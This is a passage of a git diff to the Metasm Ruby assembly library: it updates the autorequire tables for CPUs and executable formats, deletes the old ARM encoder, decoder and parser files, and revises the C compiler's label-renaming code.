can be derived from the -. - -The major would be related to: - -* the scriptable -* the (with the optionnal ) -* the -* the -* the -* the facilities - -and various interaction between those. - diff --git a/lib/metasm/metasm.rb b/lib/metasm/metasm.rb index 122c87b62c..9e27a9681e 100644 --- a/lib/metasm/metasm.rb +++ b/lib/metasm/metasm.rb @@ -15,6 +15,7 @@ module Metasm Const_autorequire_equiv = { 'X86' => 'Ia32', 'PPC' => 'PowerPC', 'X64' => 'X86_64', 'AMD64' => 'X86_64', + 'MIPS64' => 'MIPS', 'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF', 'DEY' => 'DEX', 'PTrace' => 'LinOS', 'FatELF' => 'ELF', @@ -32,8 +33,10 @@ module Metasm # files to require to get the definition of those constants Const_autorequire = { - 'Ia32' => 'ia32', 'MIPS' => 'mips', 'PowerPC' => 'ppc', 'ARM' => 'arm', - 'X86_64' => 'x86_64', 'Sh4' => 'sh4', 'Dalvik' => 'dalvik', + 'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm', + 'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc', + 'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf', + 'MSP430' => 'cpu/msp430', 'C' => 'compile_c', 'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe', 'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff', @@ -41,10 +44,15 @@ module Metasm 'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho', 'DEX' => 'exe_format/dex', 'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff', + 'GameBoyRom' => 'exe_format/gb', 'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol', + 'PYC' => 'exe_format/pyc', 'JavaClass' => 'exe_format/javaclass', + 'SWF' => 'exe_format/swf', 'ZIP' => 'exe_format/zip', + 'Shellcode_RWX' => 'exe_format/shellcode_rwx', 'Gui' => 'gui', 'WindowsExports' => 'os/windows_exports', 'GNUExports' => 'os/gnu_exports', + 'Debugger' => 'debug', 'LinOS' => 'os/linux', 'WinOS' => 'os/windows', 'GdbClient' => 'os/remote', 'Disassembler' => 'disassemble', diff --git a/lib/metasm/metasm/arm.rb b/lib/metasm/metasm/arm.rb deleted file mode 100644 index 2f1232645f..0000000000 --- a/lib/metasm/metasm/arm.rb +++ /dev/null @@ -1,12 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/arm/parse' -require 'metasm/arm/encode' -require 'metasm/arm/decode' -require 'metasm/arm/render' -require 'metasm/arm/debug' diff --git a/lib/metasm/metasm/arm/debug.rb b/lib/metasm/metasm/arm/debug.rb deleted file mode 100644 index acfd579a46..0000000000 --- a/lib/metasm/metasm/arm/debug.rb +++ /dev/null @@ -1,39 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/arm/opcodes' - -module Metasm -class ARM - def dbg_register_pc - @dbg_register_pc ||= :pc - end - def dbg_register_flags - @dbg_register_flags ||= :flags - end - - def dbg_register_list - @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] - end - - def dbg_flag_list - @dbg_flag_list ||= [] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(32) - end - - def dbg_need_stepover(dbg, addr, di) - di and di.opcode.props[:saveip] - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'foobar' # TODO - end - -end -end diff --git a/lib/metasm/metasm/arm/decode.rb b/lib/metasm/metasm/arm/decode.rb deleted file mode 100644 index 3dbf7a3053..0000000000 --- a/lib/metasm/metasm/arm/decode.rb +++ /dev/null @@ -1,167 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/arm/opcodes' -require 'metasm/decode' - -module Metasm -class ARM - # create the bin_mask for a given opcode - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.fields.each { |k, (m, s)| - op.bin_mask |= m << s - } - op.bin_mask = 0xffffffff ^ op.bin_mask - end - - # create the lookaside hash from the first byte of the opcode - def build_bin_lookaside - lookaside = Array.new(256) { [] } - - opcode_list.each { |op| - build_opcode_bin_mask op - - b = (op.bin >> 20) & 0xff - msk = (op.bin_mask >> 20) & 0xff - b &= msk - - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b - end - } - - lookaside - end - - def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - di.instance_variable_set('@raw', val) - di if di.opcode = @bin_lookaside[(val >> 20) & 0xff].find { |op| - (not op.props[:cond] or - ((val >> @fields_shift[:cond]) & @fields_mask[:cond]) != 0xf) and - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - - def disassembler_default_func - df = DecodedFunction.new - df - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - val = di.instance_variable_get('@raw') - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :i16; Expression.make_signed(r, 16) - when :i24; Expression.make_signed(r, 24) - when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf) - when :stype; [:lsl, :lsr, :asr, :ror][r] - when :u; [:-, :+][r] - else r - end - } - - if op.props[:cond] - cd = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al][field_val[:cond]] - if cd != 'al' - di.opcode = di.opcode.dup - di.instruction.opname = di.opcode.name.dup - di.instruction.opname[(op.props[:cond_name_off] || di.opcode.name.length), 0] = cd - if di.opcode.props[:stopexec] - di.opcode.props = di.opcode.props.dup - di.opcode.props.delete :stopexec - end - end - end - - op.args.each { |a| - di.instruction.args << case a - when :rd, :rn, :rm; Reg.new field_val[a] - when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs]) - when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]*2 - when :i24; Expression[field_val[a] << 2] - when :i8_r - i = field_val[:i8] - r = field_val[:rotate]*2 - Expression[((i >> r) | (i << (32-r))) & 0xffff_ffff] - when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - b = Reg.new(field_val[:rn]) - o = case a - when :mem_rn_rm; Reg.new(field_val[:rm]) - when :mem_rn_i8_12; field_val[:i8_12] - when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]*2) - when :mem_rn_i12; field_val[:i12] - end - Memref.new(b, o, field_val[:u], op.props[:baseincr]) - when :reglist - di.instruction.args.last.updated = true if op.props[:baseincr] - msk = field_val[a] - l = RegList.new((0..15).map { |i| Reg.new(i) if (msk & (1 << i)) > 0 }.compact) - l.usermoderegs = true if op.props[:usermoderegs] - l - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length = 4 - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.args.include? :i24 - di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8] - end - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def init_backtrace_binding - @backtrace_binding ||= {} - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - when Memref; arg.symbolic(di.address) - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - bd = binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - - end - - def get_xrefs_x(dasm, di) - if di.opcode.props[:setip] - [di.instruction.args.last] - else - # TODO ldr pc, .. - [] - end - end -end -end diff --git a/lib/metasm/metasm/arm/encode.rb b/lib/metasm/metasm/arm/encode.rb deleted file mode 100644 index 05f1393285..0000000000 --- a/lib/metasm/metasm/arm/encode.rb +++ /dev/null @@ -1,77 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/arm/opcodes' -require 'metasm/encode' - -module Metasm -class ARM - def encode_instr_op(section, instr, op) - base = op.bin - set_field = lambda { |f, v| - v = v.reduce if v.kind_of? Expression - case f - when :i8_12 - base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]] - next - when :stype; v = [:lsl, :lsr, :asr, :ror].index(v) - when :u; v = [:-, :+].index(v) - end - base = Expression[base, :|, [[v, :&, @fields_mask[f]], :<<, @fields_shift[f]]] - } - - val, mask, shift = 0, 0, 0 - - if op.props[:cond] - coff = op.props[:cond_name_off] || op.name.length - cd = instr.opname[coff, 2] - cdi = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].index(cd) || 14 # default = al - set_field[:cond, cdi] - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rd, :rs, :rn, :rm; set_field[sym, arg.i] - when :rm_rs - set_field[:rm, arg.i] - set_field[:stype, arg.stype] - set_field[:rs, arg.shift.i] - when :rm_is - set_field[:rm, arg.i] - set_field[:stype, arg.stype] - set_field[:shifti, arg.shift/2] - when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12 - set_field[:rn, arg.base.i] - case sym - when :mem_rn_rm - set_field[:rm, arg.offset.i] - when :mem_rn_rms - set_field[:rm, arg.offset.i] - set_field[:stype, arg.offset.stype] - set_field[:rs, arg.offset.shift.i] - when :mem_rn_i8_12 - set_field[:i8_12, arg.offset] - when :mem_rn_i12 - set_field[:i12, arg.offset] - end - # TODO set_field[:u] etc - when :reglist - set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }] - when :i8_r - # XXX doublecheck this - b = arg.reduce & 0xffffffff - r = (0..15).find { next true if b < 0x10 ; b = (b >> 2) | ((b & 3) << 30) } - set_field[:i8, b] - set_field[:rotate, r] - when :i16, :i24 - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - end - } - - Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) - end -end -end diff --git a/lib/metasm/metasm/arm/main.rb b/lib/metasm/metasm/arm/main.rb deleted file mode 100644 index ab9a36a3a5..0000000000 --- a/lib/metasm/metasm/arm/main.rb +++ /dev/null @@ -1,75 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class ARM < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] - @s_to_i = { 'wr' => 7, 'sb' => 9, 'sl' => 10, 'fp' => 11, 'ip' => 12, 'sp' => 13, 'lr' => 14, 'pc' => 15 } - 15.times { |i| @s_to_i["r#{i}"] = i } - 4.times { |i| @s_to_i["a#{i+1}"] = i } - 8.times { |i| @s_to_i["v#{i+1}"] = i+4 } - - attr_accessor :i, :stype, :shift, :updated - def initialize(i, stype=:lsl, shift=0) - @i = i - @stype = stype - @shift = shift - end - - def symbolic - r = self.class.i_to_s[@i].to_sym - if @stype == :lsl and @shift == 0 - r - else - r # TODO shift/rotate/... - end - end - end - - class Memref - attr_accessor :base, :offset, :sign, :incr - def initialize(base, offset, sign=:+, incr=nil) - @base, @offset, @sign, @incr = base, offset, sign, incr - end - - def symbolic(len=4, orig=nil) - o = @offset - o = o.symbolic if o.kind_of? Reg - p = Expression[@base.symbolic, @sign, o].reduce - Indirection[p, len, orig] - end - end - - class RegList - attr_accessor :list, :usermoderegs - - def initialize(l=[]) - @list = l - end - end - - def initialize(endianness = :little) - super() - @endianness = endianness - @size = 32 - end - - def init_opcode_list - init_latest - @opcode_list - end -end - -class ARM_THUMB < ARM -end -end - diff --git a/lib/metasm/metasm/arm/opcodes.rb b/lib/metasm/metasm/arm/opcodes.rb deleted file mode 100644 index 4055c2297c..0000000000 --- a/lib/metasm/metasm/arm/opcodes.rb +++ /dev/null @@ -1,177 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/arm/main' - -module Metasm -class ARM - private - def addop(name, bin, *args) - args << :cond if not args.delete :uncond - - o = Opcode.new name, bin - o.args.concat(args & @valid_args) - (args & @valid_props).each { |p| o.props[p] = true } - args.grep(Hash).each { |h| o.props.update h } - - # special args -> multiple fields - case (o.args & [:i8_r, :rm_is, :rm_rs, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]).first - when :i8_r; args << :i8 << :rotate - when :rm_is; args << :rm << :stype << :shifti - when :rm_rs; args << :rm << :stype << :rs - when :mem_rn_rm; args << :rn << :rm << :rsx << :u - when :mem_rn_i8_12; args << :rn << :i8_12 << :u - when :mem_rn_rms; args << :rn << :rm << :stype << :shifti << :u - when :mem_rn_i12; args << :rn << :i12 << :u - end - - (args & @fields_mask.keys).each { |f| - o.fields[f] = [@fields_mask[f], @fields_shift[f]] - } - - @opcode_list << o - end - - def addop_data_s(name, op, a1, a2, *h) - addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h - addop name, op, a1, a2, :rm_is, *h - addop name, op | (1 << 4), a1, a2, :rm_rs, *h - end - def addop_data(name, op, a1, a2) - addop_data_s name, op << 21, a1, a2 - addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length - end - - def addop_load_puw(name, op, *a) - addop name, op, {:baseincr => :post}, :rd, :u, *a - addop name, op | (1 << 24), :rd, :u, *a - addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a - end - def addop_load_lsh_o(name, op) - addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} - addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} - end - def addop_load_lsh - op = 9 << 4 - addop_load_lsh_o 'strh', op | (1 << 5) - addop_load_lsh_o 'ldrd', op | (1 << 6) - addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) - addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) - addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) - addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) - end - - def addop_load_puwt(name, op, *a) - addop_load_puw name, op, *a - addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a - end - def addop_load_o(name, op, *a) - addop_load_puwt name, op, :mem_rn_i12, *a - addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a - end - def addop_load(name, op) - addop_load_o name, op - addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length - end - - def addop_ldm_go(name, op, *a) - addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a - end - def addop_ldm_w(name, op, *a) - addop_ldm_go name, op, *a # base reg untouched - addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated - end - def addop_ldm_s(name, op) - addop_ldm_w name, op # transfer regs - addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs - end - def addop_ldm_p(name, op) - addop_ldm_s name+'a', op # target memory included - addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr - end - def addop_ldm_u(name, op) - addop_ldm_p name+'d', op # transfer made downward - addop_ldm_p name+'i', op | (1 << 23) # transfer made upward - end - def addop_ldm(name, op) - addop_ldm_u name, op - end - - # ARMv6 instruction set, aka arm7/arm9 - def init_arm_v6 - @opcode_list = [] - @valid_props << :baseincr << :cond << :cond_name_off << :usermoderegs << - :tothumb << :tojazelle - @valid_args.concat [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, - :rm_rs, :rm_is, :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12] - @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, - :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, - :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, - :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, - :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, - :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf - - @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, - :crn => 16, :crd => 12, :crm => 0, :cpn => 8, - :rnx => 16, :rdx => 12, :rsx => 8, - :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, - :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, - :u => 23, :mask => 16, :sbo => 12, :cond => 28 - - addop_data 'and', 0, :rd, :rn - addop_data 'eor', 1, :rd, :rn - addop_data 'xor', 1, :rd, :rn - addop_data 'sub', 2, :rd, :rn - addop_data 'rsb', 3, :rd, :rn - addop_data 'add', 4, :rd, :rn - addop_data 'adc', 5, :rd, :rn - addop_data 'sbc', 6, :rd, :rn - addop_data 'rsc', 7, :rd, :rn - addop_data 'tst', 8, :rdx, :rn - addop_data 'teq', 9, :rdx, :rn - addop_data 'cmp', 10, :rdx, :rn - addop_data 'cmn', 11, :rdx, :rn - addop_data 'orr', 12, :rd, :rn - addop_data 'or', 12, :rd, :rn - addop_data 'mov', 13, :rd, :rnx - addop_data 'bic', 14, :rd, :rn - addop_data 'mvn', 15, :rd, :rnx - - addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 - addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip - addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef - addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :nocond, :i24 - addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm - addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm - addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle - - addop_load 'str', (1 << 26) - addop_load 'ldr', (1 << 26) | (1 << 20) - addop_load_lsh - addop_ldm 'stm', (1 << 27) - addop_ldm 'ldm', (1 << 27) | (1 << 20) - end - alias init_latest init_arm_v6 -end -end - -__END__ - addop_cond 'mrs', 0b0001000011110000000000000000, :rd - addop_cond 'msr', 0b0001001010011111000000000000, :rd - addop_cond 'msrf', 0b0001001010001111000000000000, :rd - - addop_cond 'mul', 0b000000000000001001 << 4, :rd, :rn, :rs, :rm - addop_cond 'mla', 0b100000000000001001 << 4, :rd, :rn, :rs, :rm - - addop_cond 'swp', 0b0001000000000000000010010000, :rd, :rn, :rs, :rm - addop_cond 'swpb', 0b0001010000000000000010010000, :rd, :rn, :rs, :rm - - addop_cond 'undef', 0b00000110000000000000000000010000 - - addop_cond 'swi', 0b00001111 << 24 - - addop_cond 'bkpt', 0b1001000000000000001110000 - addop_cond 'movw', 0b0011 << 24, :movwimm diff --git a/lib/metasm/metasm/arm/parse.rb b/lib/metasm/metasm/arm/parse.rb deleted file mode 100644 index a7bf5ab941..0000000000 --- a/lib/metasm/metasm/arm/parse.rb +++ /dev/null @@ -1,130 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/arm/opcodes' -require 'metasm/parse' - -module Metasm -class ARM - def opcode_list_byname - @opcode_list_byname ||= opcode_list.inject({}) { |h, o| - (h[o.name] ||= []) << o - if o.props[:cond] - coff = o.props[:cond_name_off] || o.name.length - %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].each { |cd| - n = o.name.dup - n[coff, 0] = cd - (h[n] ||= []) << o - } - end - h - } - end - - def parse_arg_valid?(op, sym, arg) - case sym - when :rd, :rs, :rn, :rm; arg.kind_of? Reg and arg.shift == 0 and (arg.updated ? op.props[:baseincr] : !op.props[:baseincr]) - when :rm_rs; arg.kind_of? Reg and arg.shift.kind_of? Reg - when :rm_is; arg.kind_of? Reg and arg.shift.kind_of? Integer - when :i16, :i24, :i8_12, :i8_r; arg.kind_of? Expression - when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - os = case sym - when :mem_rn_rm; :rm - when :mem_rn_i8_12; :i8_12 - when :mem_rn_rms; :rm_rs - when :mem_rn_i12; :i16 - end - arg.kind_of? Memref and parse_arg_valid?(op, os, arg.offset) - when :reglist; arg.kind_of? RegList - end - # TODO check flags on reglist, check int values - end - - def parse_argument(lexer) - if Reg.s_to_i[lexer.nexttok.raw] - arg = Reg.new Reg.s_to_i[lexer.readtok.raw] - lexer.skip_space - case lexer.nexttok.raw.downcase - when 'lsl', 'lsr', 'asr', 'ror' - arg.stype = lexer.readtok.raw.downcase.to_sym - lexer.skip_space - if Reg.s_to_i[lexer.nexttok.raw] - arg.shift = Reg.new Reg.s_to_i[lexer.readtok.raw] - else - arg.shift = Expression.parse(lexer).reduce - end - when 'rrx' - lexer.readtok - arg.stype = :ror - when '!' - lexer.readtok - arg.updated = true - end - elsif lexer.nexttok.raw == '{' - lexer.readtok - arg = RegList.new - loop do - raise "unterminated reglist" if lexer.eos? - lexer.skip_space - if Reg.s_to_i[lexer.nexttok.raw] - arg.list << Reg.new(Reg.s_to_i[lexer.readtok.raw]) - lexer.skip_space - end - case lexer.nexttok.raw - when ','; lexer.readtok - when '-' - lexer.readtok - lexer.skip_space - if not r = Reg.s_to_i[lexer.nexttok.raw] - raise lexer, "reglist parse error: invalid range" - end - lexer.readtok - (arg.list.last.i+1..r).each { |v| - arg.list << Reg.new(v) - } - when '}'; lexer.readtok ; break - else raise lexer, "reglist parse error: ',' or '}' expected, got #{lexer.nexttok.raw.inspect}" - end - end - if lexer.nexttok and lexer.nexttok.raw == '^' - lexer.readtok - arg.usermoderegs = true - end - elsif lexer.nexttok.raw == '[' - lexer.readtok - if not base = Reg.s_to_i[lexer.nexttok.raw] - raise lexer, 'invalid mem base (reg expected)' - end - base = Reg.new Reg.s_to_i[lexer.readtok.raw] - if lexer.nexttok.raw == ']' - lexer.readtok - closed = true - end - if lexer.nexttok.raw != ',' - raise lexer, 'mem off expected' - end - lexer.readtok - off = parse_argument(lexer) - if not off.kind_of? Expression and not off.kind_of? Reg - raise lexer, 'invalid mem off (reg/imm expected)' - end - case lexer.nexttok and lexer.nexttok.raw - when ']' - when ',' - end - lexer.readtok - arg = Memref.new(base, off) - if lexer.nexttok and lexer.nexttok.raw == '!' - lexer.readtok - arg.incr = :pre # TODO :post - end - else - arg = Expression.parse lexer - end - arg - end -end -end diff --git a/lib/metasm/metasm/arm/render.rb b/lib/metasm/metasm/arm/render.rb deleted file mode 100644 index 473071d35f..0000000000 --- a/lib/metasm/metasm/arm/render.rb +++ /dev/null @@ -1,55 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/render' -require 'metasm/arm/opcodes' - -module Metasm -class ARM - class Reg - include Renderable - def render - r = self.class.i_to_s[@i] - r += '!' if updated - if @stype == :lsl and @shift == 0 - [r] - elsif @stype == :ror and @shift == 0 - ["#{r} RRX"] - else - case s = @shift - when Integer; s = Expression[s] - when Reg; s = self.class.i_to_s[s.i] - end - ["#{r} #{@stype.to_s.upcase} #{s}"] - end - end - end - - class Memref - include Renderable - def render - o = @offset - o = Expression[o] if o.kind_of? Integer - case @incr - when nil; ['[', @base, ', ', o, ']'] - when :pre; ['[', @base, ', ', o, ']!'] - when :post; ['[', @base, '], ', o] - end - end - end - - class RegList - include Renderable - def render - r = ['{'] - @list.each { |l| r << l << ', ' } - r[-1] = '}' - r << '^' if usermoderegs - r - end - end -end -end - diff --git a/lib/metasm/metasm/compile_c.rb b/lib/metasm/metasm/compile_c.rb index 4dcd816925..63a1b8b86d 100644 --- a/lib/metasm/metasm/compile_c.rb +++ b/lib/metasm/metasm/compile_c.rb @@ -11,14 +11,14 @@ module Metasm module C class Parser def precompile - @toplevel.precompile(Compiler.new(self)) + @toplevel.precompile(Compiler.new(self, @program)) self end end # each CPU defines a subclass of this one class Compiler - # an ExeFormat (mostly used for unique label creation) + # an ExeFormat (mostly used for unique label creation, and cpu.check_reserved_name) attr_accessor :exeformat # the C Parser (destroyed by compilation) attr_accessor :parser @@ -26,6 +26,8 @@ module C attr_accessor :source # list of unique labels generated (to recognize user-defined ones) attr_accessor :auto_label_list + # map asm name -> original C name (for exports etc) + attr_accessor :label_oldname attr_accessor :curexpr # allows 'raise self' (eg struct.offsetof) @@ -34,9 +36,11 @@ module C end # creates a new CCompiler from an ExeFormat and a C Parser - def initialize(parser, exeformat=ExeFormat.new, source=[]) + def initialize(parser, exeformat=nil, source=[]) + exeformat ||= ExeFormat.new @parser, @exeformat, @source = parser, exeformat, source @auto_label_list = {} + @label_oldname = {} end def new_label(base='') @@ -155,7 +159,9 @@ module C c_init_state(func) # hide the full @source while compiling, then add prolog/epilog (saves 1 pass) - @source << '' << "#{func.name}:" + @source << '' + @source << "#{@label_oldname[func.name]}:" if @label_oldname[func.name] + @source << "#{func.name}:" presource, @source = @source, [] c_block(func.initializer) @@ -246,6 +252,7 @@ module C w = data.type.align(@parser) @source << ".align #{align = w}" if w > align + @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] @source << data.name.dup len = c_idata_inner(data.type, data.initializer) len %= w @@ -398,6 +405,7 @@ module C end def c_udata(data, align) + @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] @source << "#{data.name} " @source.last << case data.type @@ -418,7 +426,11 @@ module C len == 0 ? align : len end + # return non-nil if the variable name is unsuitable to appear as is in the asm listing + # eg filter out asm instruction names def check_reserved_name(var) + return true if @exeformat.cpu and @exeformat.cpu.check_reserved_name(var.name) + %w[db dw dd dq].include?(var.name) end end @@ -538,21 +550,36 @@ module C class Declaration def precompile(compiler, scope) if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var) - # TODO fix label name in export table if __exported - scope.symbol.delete @var.name old = @var.name - @var.name = compiler.new_label @var.name until @var.name != old - compiler.toplevel.symbol[@var.name] = @var - # TODO no pure inline if addrof(func) needed - compiler.toplevel.statements << self unless @var.attributes.to_a.include? 'inline' + ref = scope.symbol.delete old + if scope == compiler.toplevel or (@var.type.kind_of?(Function) and not @var.initializer) + if n = compiler.label_oldname.index(old) + # reuse same name as predeclarations + @var.name = n + else + newname = old + newname = compiler.new_label newname until newname != old + if not compiler.check_reserved_name(@var) + compiler.label_oldname[newname] = old + end + @var.name = newname + end + ref ||= scope.symbol[@var.name] || @var + # append only one actual declaration for all predecls (the one with init, or the last uninit) + scope.statements << self if ref.eql?(@var) + else + @var.name = compiler.new_label @var.name until @var.name != old + compiler.toplevel.statements << self + end + compiler.toplevel.symbol[@var.name] = ref else scope.symbol[@var.name] ||= @var - appendme = true + appendme = true if scope.symbol[@var.name].eql?(@var) end if i = @var.initializer if @var.type.kind_of? Function - if @var.type.type.kind_of? Struct + if @var.type.type.kind_of? Union s = @var.type.type v = Variable.new v.name = compiler.new_label('return_struct_ptr') @@ -568,6 +595,7 @@ module C Label.new(i.return_label).precompile(compiler, i) i.precompile_optimize # append now so that static dependencies are declared before us + # TODO no pure inline if addrof(func) needed scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline' elsif scope != compiler.toplevel and @var.storage != :static scope.statements << self if appendme @@ -580,7 +608,6 @@ module C else scope.statements << self if appendme end - end # turns an initializer to CExpressions in scope.statements @@ -877,7 +904,7 @@ module C def precompile(compiler, scope) if @value @value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression - if @value.type.untypedef.kind_of? Struct + if @value.type.untypedef.kind_of? Union @value = @value.precompile_inner(compiler, scope) func = scope.function.type CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope) @@ -1011,7 +1038,7 @@ module C lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) @lexpr = nil @op = nil - if struct.kind_of? Struct and (off = struct.offsetof(compiler, @rexpr)) != 0 + if struct.kind_of? Union and (off = struct.offsetof(compiler, @rexpr)) != 0 off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned)) @rexpr = CExpression.new(lexpr, :'+', off, lexpr.type) # ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr)) @@ -1157,7 +1184,7 @@ module C } scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope) - elsif @type.kind_of? Struct + elsif @type.kind_of? Union var = Variable.new var.name = compiler.new_label('return_struct') var.type = @type @@ -1434,4 +1461,3 @@ module C end end end - diff --git 